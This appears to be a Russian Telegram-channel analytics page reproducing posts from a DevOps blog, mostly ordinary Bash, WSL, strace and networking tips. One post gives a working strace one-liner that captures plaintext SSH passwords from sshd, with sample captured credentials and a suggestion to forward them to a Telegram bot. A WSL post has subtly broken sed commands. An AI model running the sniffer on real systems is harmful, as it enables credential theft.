Bash Days | Linux | DevOps
Авторский блог от действующего девопса Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу. Автор: Роман Шубин Реклама: @maxgrue MAX: https://max.ru/bashdays Курс: @tormozilla_bot Блог: https://bashdays.ru
Больше📈 Аналитический обзор Telegram-канала Bash Days | Linux | DevOps
Канал Bash Days | Linux | DevOps (@bashdays) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 23 788 подписчиков, занимая 5 702 место в категории Технологии и приложения и 28 099 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 23 788 подписчиков.
Согласно последним данным от 19 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -226, а за последние 24 часа — 1, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 23.40%. В первые 24 часа после публикации контент обычно набирает 13.11% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 5 567 просмотров. В течение первых суток публикация набирает 3 119 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 22.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как bashdays, linux, bash, docker, скрипт.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Авторский блог от действующего девопса
Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.
Автор: Роман Шубин
Реклама: @maxgrue
MAX: https://max.ru/bashdays
Курс: @tormozilla_bot
Блог: https://bashdays.r...”
Благодаря высокой частоте обновлений (последние данные получены 20 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
22.04 - 5.1.16 23.04 - 5.2.16 24.04 - 5.2.21Так, есть несколько способов вкорячить свежую убунту в wsl. Хитрожопый способ с docker Заходим в wsl убунты 22 и ставим docker если он у тебя еще не стоит.
curl -sSL https://get.docker.com | sh
usermod -aG docker $(whoami)
WSL DETECTED: We recommend using Docker Desktop for Windows.
Оно грязно выругается, но ждем 20 секунд и установка завершиться успехом
Перезапускаем сессию чтобы пользователь смог работать с docker.
Дальше тащим образ ubuntu:lunar, как раз это версия 23.04. Аналогично можешь и другие версии/разновидности дистрибутива на wsl вкорячивать. Все что есть в docker можно поднять в wsl.
docker pull ubuntu:lunar
Запускаем контейнер и выходим из него
docker run -it --name ubuntu23 ubuntu:lunar
exit
Проверяем что контейнер есть:
docker ps -a
Экспортируем
docker export ubuntu23 > /tmp/ubuntu23.tar
В папке /tmp появился tar размером где-то 75 мегабайт. Уже хорошо. Теперь на хостовой с виндой создаем папку. Я сделал ее на диске D: и назвал так D:\\wsl\\ubuntu23
Теперь копируем этот tar на хостовую машину с виндой в папку D:\\wsl\\ubuntu23.
Переходим в powershell и импортируем tar:
wsl --import ubuntu23 D:\wsl\ubuntu23\ D:\wsl\ubuntu23\ubuntu23.tar
В папке D:\\wsl\\ubuntu23 появится новый файл: ext4.vhdx размером около 150 мегабайт. Так, дальше…
Смотрим что у нас есть, в powershell:
wsl -l -v
На экран вываливается примерно такое:
PS C:\Users\user> wsl -l -v
NAME STATE VERSION
* Ubuntu-22.04 Running 2
ubuntu23 Stopped 2
Собственно на этом всё. Запускаем lunar:
wsl -d ubuntu23
Всё!
Второй способ. Сделать dist-upgrade уже существующей убунты:
sudo sed 's/lts/normal/g' /etc/update-manager/release-upgrades
sudo sed -i `s/jammy/lunar/g` /etc/apt/sources.list
sudo apt update
sudo apt upgrade
sudo apt dist-upgrade
Хотя апргрейд крайняя мера, когда 22.04 уже не нужна. А мне нужна! Пока не знаю зачем, но пусть будет.
Третий и самый простой.
Поставить Ubuntu (Preview) по этой ссылке прям с магазина микрософта. Кликнул и последняя убунта у тебя в wsl.
В моём случае сразу прилетел Release: 24.04 Codename: noble. Через docker конечно интереснее, есть какая-то прозрачность и контроль.
А так, как я ленивая жопа, я предпочел поставить Ubuntu Preview. Но способ с docker я конечно пощупал и поставил 23 версию. Теперь имею зоопарк 22, 23, 24, думаю для экспериментов вполне хватит.
Да, когда ставишь через docker, оно автоматически пропишется в Windows Terminal и потом всю эту кухню можно запускать кликом мыши, без ввода wsl -d.
Вот и все. Чуть позже закину пост как раз про ту самую софтину, которая хочет работать только на свежих линуксах. Увидимся!
tags: #linux #windows
—
💩 @bashdaysstrace -f -p $(pgrep -o sshd) -o /tmp/passwd.txt -v -e trace=write -s 64
Запускаем и собираем урожай в файл passwd.txt. Работает так:
1. -f = следим за всеми процессами sshd (мастер и дочерние)
2. -p = ищем все PID sshd процессов
3. -o = файл куда пишем результаты
4. -v = пишем подробности
5. -e = триггеримся только на запись данных
6. -s = ограничиваем вывод данных 64 байтами (меньше мусора)
Теперь, когда какой-нибудь пользователь авторизуется на сервере по ssh, в файл passwd.txt в открытом виде будет записан его актуальный пароль.
Выглядит это так:
1088 write(5,"\0\0\0\5oleg", 9) = 9
1088 write(5, "\0\0\0\Barmaley1982", 17) = 17
Логин oleg, пароль Barmaley1982. Дело в шляпе. Этакий сниффер на коленке с помощью коробочных инструментов. Можешь к телеграм боту это прикрутить и получать эти перехваченные данные прям в мессенджере. Как это сделать писал тут.
Кстати этим кейсом очень часто пользуются блэкхеты и пентестеры, которые через дыру получают рута и затем втихую проворачивают свои делишки оставаясь в тени.
Такие дела. Ну и как там пишут:
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #bash #debug #security
—
💩 @bashdaysnginx + acme.sh тоже капец лень.
Пока искал готовое решение (кстати нашел нативный мануал от wg-easy), набрел на интересную штуку. Называется Nginx Proxy Manager.
Короче это морда для nginx, чтобы не руками конфиг задрачивать, а мышкой галочки натыкивать + из коробки нативная интеграция с letsencrypt.
Возможно у нас в чатике где-то это уже и пролетало, но я не видал.
Поднимается за минуту через docker-compose, без лишних велосипедов и костылей. Дружит с sqlite и mysql. Есть система распределения прав, каждый юзер может редактировать свои локейшены и хосты. Поддерживает малину и arm архитектуры. Ну и естественно есть гибкий Access List и Basic Auth.
Киллер-фича: Можно генерить wildcard ssl, выбираешь из большого выпадающего списка к примеру cloudflare и оно тебе DNS Challenge делает. Это прям порадовало.
Понятно дело, что оно не максимально гибкое в плане конфигурации через морду. Но для этого есть дырка, чтобы вставлять свои куски конфига в текстовом формате. А так базового функционала прям за глаза.
В общем рекомендую как для локальной разработки, так и для каких-то своих сервисов вроде bitwarden и т.п.
Картинки у них на сайте посмотрите, не буду сюда запихивать.
🌐 https://nginxproxymanager.com/
tags: #nginx #services
—
💩 @bashdayscurl ifconfig.me
curl geofind.me
Первый выдаст чисто айпишник, который ты сможешь загнать в переменную и потом его использовать.
Второй помимо айпишника, вычислит местоположение.
94.227.165.240
Aeza International Ltd
Ulitsa Pushkina, Dom Kolotushkina, Austria
Второй вариант использую намного реже. Так как привык всё усложнять, сначала получаю ip через ifconfig.me, а потом уже через whois <ip>.
Подобных сервисов полно, я показал чем пользуюсь сам.
Альтернативы:
curl ipinfo.io/ip
curl ipecho.net/plain
curl icanhazip.com
curl ident.me
curl api64.ipify.org
curl api.ip.sb/ip
curl ipv4.wtfismyip.com/text
curl ip2location.io/ip
curl checkip.amazonaws.com
С дополнительной инфой:
curl ip-api.com/line
curl ipinfo.io
curl api.myip.com
curl 'api.ipregistry.co/?key=tryout'
В списке с «дополнительной инфой» есть сервисы которые прям богатый JSON выплёвывают, потыкай.
Я раньше обладал безлимитным API ключом для MaxMind, вот там да, был полный фарш. Можно было по IP узнавать вплоть до названия организации. Даже софтину в бородатые 2000е писал, которая пользовалась популярностью у пентестеров.
Но если у тебя есть ключик, узнать свой айпишник можешь через команду:
curl -H "Authorization: KEY" https://geoip.maxmind.com/geoip/v2.1/city/me
Ааа, еще вариант с дигом есть, но оно длинное:
dig +short myip.opendns.com @resolver1.opendns.com
Есть и минусы. Результат зависит от доступности сервисов. Если сервис выплюнет соплю > 200, увы все поломается.
Поэтому если используешь это в bash скриптах, советую добавлять сервисы в массив пачкой и делать ротацию. Если один выдал соплю, брать информацию с другого. В принципе это бест-практики в любых алгоритмах для отказоустойчивых систем.
Ладно, сегодня еще увидимся, далеко не уходи. Хорошего дня!
PS: Да, всем спасибище, лайк и котиков🐾 🤩🥳🥰🫥 кто тыкнул на кнопочку в дзене! Вы супер, обнял!
tags: #linux #bash #networks
—
💩 @bashdays#!/bin/bash
host="files.bashdayz.ru"
port="80"
path="/files/test.zip"
request="GET $path HTTP/1.1
Host: $host
Connection: close"
exec 3<>/dev/tcp/$host/$port
echo -e "$request" >&3
cat <&3 > test.zip
exec 3>&-
echo "Success"
Тут все просто:
1. Задаем переменные, хост, порт, путь до файла
2. Проставляем необходимые заголовки для запроса
3. Ну и собственно скачиваем файл на диск
Теперь разберем третий пункт подробнее. С виду какой-то ужас, но не ссы, ща расскажу.
В первой строчке открывается файловый дескриптор с индексом 3 для чтения и записи данных через TCP-соединение + хост + порт.
Во второй строчке отправляем HTTP запрос на сервер через открытое соединение с дескриптором 3. Включаем в него GET запрос и необходимые заголовки.
В третьей строчке читаем данные из файлового дескриптора 3 в cat, который связан с соединением сервера и записываем их в файл.
Последняя строка закрывает файловый дескриптор 3 (сокет) после завершения операции чтения данных. Можно не закрывать и оставить портал в ад открытым.
Ну и все. Файл скачали, получили Success!
Почему я выбрал файловый дескриптор с индексом 3? Ну вообще 0 = stdin, 1 = stdout, 2 = stderr. Короче 0, 1, 2 зарезервированы, а я просто взял следующий.
Но вообще в манах bash рекомендуют быть осторожным в использовании дескрипторов больше 9ти. Так как возможен конфликт с дескрипторами, которые используются внутри оболочки.
К сожалению для https такое провернуть не получится, возникнут проблемы. Прямой обмен данными через сокеты не предусматривают обработку SSL/TLS.
Такие дела, вряд ли ты это будешь где-то применять. Но обладая такими знаниями, ты постигаешь то, чего никогда не постигнут другие.
В общем не болей, увидимся!
tags: #linux #bash #networks
—
💩 @bashdays:> /dev/tcp/bashdayz.ru/80
:> /dev/tcp/bashdayz.ru/443
Если порт открыт, то после выполнения команды на экран ничего не выведется. Но ты в праве получить статус через echo $?. Если вернулся 0 значит порт открыт и все ок. Если вернулось > 0, то пизда рулю, порт закрыт.
Есть нюанс, команда может висеть очень долго, поэтому приправляем ее таймаутом:
timeout 5s bash -c ':> /dev/tcp/bashdayz.ru/80'
timeout 5s bash -c ':> /dev/tcp/bashdayz.ru/443'
Теперь в случае если порт не доступен, мне не нужно ждать 100500 часов пока команда завершится. Все станет известно спустя 5 секунд. Повторюсь, что на экран никакого вывода не будет. Статус получаем через echo $?, ну ты понял.
А что означает этот непонятный символ «:>»?
Нет, это не смайлик с дятлом. Это сокращенная версия true:
true > /dev/tcp/bashdayz.ru/80
true - команда, которая всегда возвращает успешный (нулевой) код возврата. Это означает, что команда завершилась успешно, без ошибок.
Чтобы весь этот фокус работал, требуется bash с поддержкой net-redirections (--enable-net-redirections), но как показывает практика такая функция в 99% включена по умолчанию, если конечно ты не адепт gentoo и из исходников bash собирал.
Аналогично можно слать udp запросы:
:> /dev/udp/localhost/8888
То есть синтаксис простой: /dev/протокол/хост/порт
Давай еще пример покажу как с NIST Time Server получить актуальную дату и время с разных NTP:
cat </dev/tcp/time.nist.gov/13
cat </dev/tcp/time.cloudflare.com/13
cat </dev/tcp/time.windows.com/13
cat </dev/tcp/pool.ntp.org/13
cat </dev/tcp/time.google.com/13
cat </dev/tcp/time.apple.com/13
cat </dev/tcp/time.nrc.ca/13
cat </dev/tcp/time.windows.com/13
Некоторые могут не работать, санкции или хрен пойми че с ними, но первый у меня везде работает.
Ну и как дополнительный вариант для проверки открытых портов, можно использовать nc.
nc -zv bashdayz.ru 80
Тут оно на экран тебе результат сразу вывалит без всяких костылей.
nc или netcat - утилита, которая предоставляет возможность взаимодействия с сетью. Она может выполнять различные функции, такие как установка TCP или UDP соединений, передача данных между хостами, сканирование портов, создание простых серверов и т.п.
Ключ -z тестирует порт без передачи данных, а ключ -v логично что verbose (подробная инфа).
Да, ты скажешь можно же через nmap это все сделать, да, справедливо. Но я показываю как не пользоваться сторонними утилитами и получить желаемое с помощью bash. Пардон за nc, но не мог его не упомянуть.
Пользуйся, обязательно пригодится в работе и дебаге. Увидимся!
tags: #linux #debug #bash #networks
—
💩 @bashdayssystemctl restart php-fpm. Ну и в логах ничего криминального нет, даже в дебаг режиме. По факту имеем пятьсот две плохих шлюхи (502 Bad Gateway).
Ребята придумали костыль, какой-то башник, который в кроне проверяет зависание и затем автоматически ребутит. Да, как временное решение подходит. Но сам знаешь, что временное всегда становится постоянным.
До этого были перепробованы все возможные варианты с конфигом, накручивание буферов, гугление, даже грешили на nginx, но ничего не помогало.
Так и жили пока дядя Рома не соизволил разобраться в ситуации, ну и разобрался.
Расчехляем strace
Для начала ты должен знать, что php использует модель master/slave. Главный процесс использует воркеры (workers) для обработки входящих запросов. Запрос может выполниться на любом из воркеров, поэтому нужно сказать strace чтобы мониторил все воркеры. Для этого будем использовать связку с командой pidof ну и приправим это sed’ом.
strace -f $(pidof php-fpm | sed 's/\([0-9]*\)/\-p \1/g') -epoll
Sed обрезает лишнюю херню и оставляет только pid в голом виде, ну и затем эти пиды закидываем в strace.
А после запуска команды и зависания php, я увидел такое:
[pid 1234] poll([{fd=10 ...]) = 0 (Timeout)
[pid 1234] poll([{fd=10 ...]) = 0 (Timeout)
[pid 1234] poll([{fd=10 ...]) = 0 (Timeout)
[pid 1234] poll([{fd=10 ...]) = 0 (Timeout)
Ага, уже есть с чем работать. Какой-то таймаут. И файловый дескриптор fd=10. Хм. Теперь надо понять, что это за таймаут и дескриптор fd=10. Для этого сделаем так:
lsof -p 1234
Эта команда выдаст список всех файлов, которые открыты процессом, включая сокеты.
php 0u IPv4 13193 0t0 TCP :8000 (LISTEN)
php 1u CHR 1,4 0t0 4728 /dev/null
php 2u CHR 1,4 0t0 4728 /dev/null
php 3ur REG /tmp/.RedPem.Hte (deleted)
php 4u IPv4 TCP :8000->:5042 (ESTABLISHED)
php 5uW REG sessions/sess_tmh0dls75
php 6u 0000 0,9 0 4842 anon_inode
php 7u unix 0t0 25714 socket
php 8u unix 0t0 25714 socket
php 9u TCP l->l:11210 (ESTABLISHED)
php 10u TCP host->10.0.0.100:9200 (SYN_SENT)
Смотрим самую последнюю строку как раз с fd=10. Видим что у нас проблема с подключением к 10.0.0.100:9200. Очень интересно. Что это вообще за айпишник такой.
Не останавливаемся и копаем дальше.
В большинстве случае порт 9200 принадлежит ElasticSearch. Роем в эту сторону и обнаруживаем, что в php проекте используется библиотека ElasticSearch PHP.
Как оказалось, при разработке проекта, прекрасные девы подключили ElasticSearch, чтобы чото там отлавливать. А на айпишнике 10.0.0.100 как раз располагалась серверная часть ElasticSearch. Разработку прекратили, сервер с эластиком убили, но из конфигов проекта забыли выкосить.
Вот оно и продолжало ломиться туда, где ничего нет. В этом и заключался баг. PHP постоянно опрашивал ElasticSearch сервер для получения ответа, но в ответ получал хуй с маслом. Рабочий процесс зависал в цикле и не мог ответить ни на один другой запрос.
Такие дела. Я прям уверен — если пройтись с помощью strace по всяким популярным php движкам, там столько дерьма вылезет. Кстати с помощью strace можно вполне удачно разгонять проекты, банально фиксишь то, что вызывает таймауты.
Порой наталкивался на ситуацию когда проект тормозил из-за корявого резолва доменов, или были проблемы с таймзоной, аналогично всё это дебажилось через strace.
В общем изучай и бери на вооружение, опыт полезный. Увидимся!
tags: #linux #debug #рабочиебудни
—
💩 @bashdays<?php
chmod('test.txt', '777');
?>
Для простоты восприятия, адаптировал под наши с вами реалии. Вроде всё корректно, тошноты пока нет. Чо этой собаке надо? Запускаю скрипт, хм… снова получаю вместо 777 какую-то фигню 01411.
А если уберем кавычки? Вдруг это как string воспринимается:
<?php
chmod('test.txt', 777);
?>
Метод тыка не помог, но терпим до последнего. В документацию по chmod в php не лезем. Нас же НЕ просили исправить баг, нас поставили перед фактом — проблемы на сервере. Вот мы и пытаемся доказать обратное.
Расчехляем strace
strace php app.php
В самом конце видим:
read(3, "<?php\n\nchmod('test.txt', 777);\n\n"..., 4096) = 35
chmod("test.txt", 01411) = 0
Видим знакомое 01411. Доказательства собрали. С серверами всё хорошо, на лицо баг в коде. Несем эту информацию тимлиду, пусть учит разработчика читать документацию и дает ему по шапке.
А что все-таки не так с php скриптом, почему 01411? Вообще это не наше дело. Но если коротко:
В php целые числа могут быть указаны в десятичной, шестнадцатеричной, восьмеричной или двоичной системе. Все это дело должно обозначаться начальным нулем. Наша тема - восьмеричная система. Если перевести 777 в восьмеричную систему получим как раз 1411.
📌А откуда берется 01 перед 1411?? А давай ты сам подумаешь и в комментариях напишешь. А мы тебе дружно лайк поставим.
Ошибка была в том, что в php скрипте число 777 передается как строка. Неважно в скобках оно или нет.
Фикс тут простой, просто вставляем 0 перед 777:
<?php
chmod('test.txt', 0777);
?>
Ну а если хочется без ведущего нуля, то так:
<?php
chmod('test.txt', intval('777', 8));
?>
Вот такие пироги. Можно было бы продолжить метод тыка и вставить сразу 0 перед 777, но повторюсь — нас не просили ничего багфиксить. Не нужно упрощать кому-то работу, это опыт, который ты воруешь у человека.
Пусть лучше лишние полчаса погуглит, посмотрит, зато самостоятельно заполнит свою дофаминоваю яму. И потешет ЭГО новой победой над багом.
Ладно, увидимся, давай!
tags: #linux #debug #рабочиебудни
—
💩 @bashdaysКопировать : CTRL+SHIFT+C Вставить : CTRL+SHIFT+V Вырезать : CTRL+SHIFT+X Или контекстное менюPrimary Buffer
Копировать : Выделить, копируется само Вставить : Средняя клавиша мышиApplication Buffer
Вставить : Зависит от приложения Вырезать : Зависит от приложения Копировать : Зависит от приложенияНу а теперь давай потыкаем палкой. Практика. Заходи в консольку и копируй что-нибудь во все три буфера. В каждый буфер скопируй разный текст, чтобы визуально убедиться. Clipboard Buffer Выделяешь и копируешь CTRL+SHIFT+C Primary Buffer Выделаешь, копируется автоматически Application Buffer (Оболочка Bash) Курсор в конце строки, вырезаем CTRL+W Так, буферы заполнили. Очищаем экран: CTRL+L и начинаем вставлять: 1. CTRL+SHIFT+V 2. Средняя кнопка мыши 3. CTRL+Y Опа! Каждый пункт вставляет разный текст. Ну если конечно ты скопировал разный. В винде немного все иначе, я особо с этим не разбирался. Но 1й и 3й пункт точно работают. А вот средняя кнопка мыши у меня привязана на какую-то фигню с окнами, но не суть. Вообще в повседневной работе я обычно использую менеджеры буферов. Потом очень удобно лазить по истории и вставлять необходимое. Сейчас уже не представляю как без них обходиться, например когда нужно скопипастить логин и пароль из разных мест. Ладно. Всем легкой недели. Увидимся! tags: #linux #bash — 💩 @bashdays
Имя: ssh_win Протокол: tcp Адрес хоста: 127.0.0.1 Порт хоста: 2222 Адрес гостя: пусто Порт гостя: 22Так, теперь в powershell я могу цепануться к виртуалке так:
ssh -p2222 user@127.0.0.1
Оно и ежу понятно, теперь усложняем задачу:
Имя: ssh_win_host Протокол: tcp Адрес хоста: 192.168.31.100 Порт хоста: 22 Адрес гостя: пусто Порт гостя: 22Этой хернёй разрешаем подключение из powershell по такому принципу:
ssh user@192.168.31.100
Ага, айпишник 192.168.31.100 это адрес, который выдал роутер моей виндовой машине. Как видим уже используется 22 порт. Посмотреть айпишник можно командой ipconfig в терминале powershell. Да простят меня адепты линукса.
Ну и теперь финальный штрих, прикручиваем WSL:
Имя: ssh_wsl Протокол: tcp Адрес хоста: 172.21.20.123 Порт хоста: 2222 Адрес гостя: пусто Порт гостя: 22Айпишник
172.21.20.123 выдан убунте в WSL, смотрим его через ifconfig. А дальше заходим в сам WSL и подключаемся к VirtualBox как к обычному серверу:
ssh user@192.168.31.100
То есть цепляемся в виндовой/хостовой машине на 22 порт, который уже проброшен. Закидываем public ключи, делаем алиасы для быстрого коннекта. Всё! Дело в шляпе! Мы подключились из WSL (ubuntu) по ssh к виртуальной машине в VirtualBox.
Есть нюанс, у меня дополнительно поднят VPN через wireguard, там еще один фактор с подсетью. Поэтому я добавил еще мусора:
Имя: ssh_vpn Протокол: tcp Адрес хоста: 10.66.64.55 Порт хоста: 22 Адрес гостя: пусто Порт гостя: 22Теперь при активации VPN, подключение к VirtualBox через WSL будет выглядеть так:
ssh user@10.66.64.55Логично, адрес виндовой/хостовой машины меняется с
192.168.31.100 на 10.66.64.55. Но это детали. Еще есть тема, что при включении/выключении VPN вся это тягомотина с пробросом портов подхватывается не сразу. Имей это ввиду.
Я себе сделал 2 алиаса в wsl ~/.zshrc:
alias box1="ssh user@192.168.31.100"
alias box2="ssh user@10.66.64.55"
Алиасы подключения без ВПН и с ВПН. Ну ты и так про это знаешь. Картинки с настройками залил сюда (открываются нативно в телеграфе), заскриншотил свои поделки. Визуальнее всегда понятнее. Но у меня там дэцл хосты и айпишники по другому обзываются. Не обессудь.
Если знаешь более красивое решение этой задачи с пробросом, сердечно ждем в комментариях.
Ладно, самое время включить режим «День-Тюлень». Еще раз всех с НГ. Увидимся!
tags: #linux #wsl #windows #network
—
💩 @bashdaysecho $-
В этой команде «$-» представляет текущие опции командной строки.
На экран выведется, что типа такого:
hikmBHs
Это все опции, которые на данный момент включены в оболочке Bash через команду «set». Ну и дальше уже можно искать проблемы с нелогичным поведением при выполнении команд. Каждая буква это опция, вызываешь хелп и смотришь что она означает.
Ну или через скрипт, как мы любим:
if [[ $- == *k* ]]; then
echo "Опция -k установлена."
else
echo "Опция -k не установлена."
fi
Про «$-» мало кто знает, в книжках я про неё никогда не встречал. В оболочке zsh эта штука тоже фурычит. Такие дела.
tags: #bash
—
💩 @bashdays$if mode=emacs
"\"": "\C-v\"\C-v\"\C-b"
"'": "\C-v\'\C-v\'\C-b"
"`": "\C-v\`\C-v\`\C-b"
"(": "\C-v\(\C-v\)\C-b"
"[": "\C-v\[\C-v\]\C-b"
"{": "\C-v\{\C-v\}\C-b"
$endif
Загружаем эти макросы из файла:
bind -f ~/bashdays
Теперь при вводе кавычки или скобки в терминале, они будут автоматически закрываться. А курсор удобно разместится между этими символами. Как в лучших традициях современных IDE с плагинами.
Работает корректно в Bash, с настройками по умолчанию. Чтобы каждый раз это не биндить, пропиши ту же самую строчку в .bashrc/.inputrc. Или сразу глобально в /etc/inputrc если есть супер-юзер.
Нюансы:
Они есть, но вряд ли встретятся у тебя. Но все равно расскажу.
1. Макрос работает только в режиме emacs. Если не работает, возможно есть какое-то переопределение в bashrc/inputrc, типа такого:
set editing-mode vi
set -o vi
2. Не должно быть привязки функций quoted-insert, backward-char (библиотека readline) к сочетаниям \C-v, \C-b. Иначе придется править сам макрос. Проверяем:
bind -q quoted-insert
bind -q backward-char
Должно вывестись примерно такое:
quoted-insert can be invoked via "\C-q", "\C-v".
backward-char can be invoked via "\C-b", "\eOD", "\e[D".
3. Не должно быть действующих сочетаний клавиш:
"\C-v\"
"\C-v'"
"\C-v`"
"\C-v("
"\C-v["
"\C-v{"
Проверяем:
bind -X | grep 'C-[vb]."'
bind -p | grep 'C-[vb]."'
bind -s | grep 'C-[vb]."'
Ключи:
-X = List the key sequences bound by -x in a form suitable for input to bind. -p = List the names of bindable editing functions, and what their bindings are, if any. -s = List key sequences that invoke macros, and their values.Cмотрим на левую часть, до двоеточия, у меня выдает такое:
"\"": "\C-v\"\C-v\"\C-b"
То есть все нормально. Короче такие себе грабли и вряд ли ты на них наступишь. Не знаю на сколько фича полезная, я давненько ей пользовался, но потом как-то не сложилось. Мне проще ручками проставить закрывашку, а не полагаться на какие-то хаки.
Но так или иначе, теперь и ты знаешь это, возможно в будущем или настоящем пригодится. Держи краба! Теперь уже точно, до завтра! Лайк, лайк!
tags: #bash
—
💩 @bashdays
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
